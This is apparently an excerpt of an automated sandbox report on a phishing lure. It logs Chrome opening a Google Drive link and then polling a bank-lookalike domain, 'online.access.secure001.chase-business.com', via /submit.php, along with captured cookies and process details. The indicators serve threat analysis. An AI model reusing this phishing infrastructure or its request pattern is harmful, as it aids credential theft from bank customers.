2024-12-20 00:17:36 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:36 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:36 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49948	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:38 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:38 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:38 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49954	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:39 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 5436 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:39 UTC	5436	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 36 35 33 38 35 37 32 37 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734653857271",null,null,null,
2024-12-20 00:17:40 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:17:40 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:17:40 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:17:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49961	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:41 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:41 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:17:41 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:41 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:41 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49962	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:42 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:43 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:17:43 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:17:43 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:17:43 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49968	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:43 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:43 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 2060, Parent PID: 772

General

Target ID:	0
Start time:	19:16:14
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3180, Parent PID: 2060

General

Target ID:	2
Start time:	19:16:17
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1972,i,10679990222649613335,13841907294963608767,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6464, Parent PID: 772

General

Target ID:	3
Start time:	19:16:23
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly